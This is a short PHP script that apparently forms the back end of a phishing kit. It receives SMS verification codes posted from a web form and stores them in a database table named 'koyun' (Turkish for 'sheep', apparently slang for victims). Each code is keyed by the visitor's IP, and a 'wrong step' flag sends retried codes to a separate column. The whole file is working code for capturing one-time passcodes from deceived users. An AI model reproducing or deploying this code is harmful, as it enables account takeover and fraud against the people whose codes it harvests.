<?php 
if(empty($_SERVER['HTTP_CF_CONNECTING_IP'])){
	$_SERVER['HTTP_CF_CONNECTING_IP'] = $_SERVER['REMOTE_ADDR'];
}
if(isset($_POST['sms']) && $_POST['yanlis_step'] == 'hayir'){
	include 'db.php';
	$sms = htmlspecialchars($_POST['sms']);
	$q = $db->prepare("UPDATE koyun SET sms = :sms WHERE ip = :ip");
	$q->bindParam(':sms', $sms);
	$q->bindParam(':ip', $_SERVER['HTTP_CF_CONNECTING_IP']);
	$q->execute();

	$data = [
		'status' => true
	];
	die(json_encode($data));
}else if(isset($_POST['sms']) && $_POST['yanlis_step'] == 'evet'){
	include 'db.php';
	$sms = htmlspecialchars($_POST['sms']);
	$q = $db->prepare("UPDATE koyun SET hsms = :sms WHERE ip = :ip");
	$q->bindParam(':sms', $sms);
	$q->bindParam(':ip', $_SERVER['HTTP_CF_CONNECTING_IP']);
	$q->execute();

	$data = [
		'status' => true
	];
	die(json_encode($data));
}
?>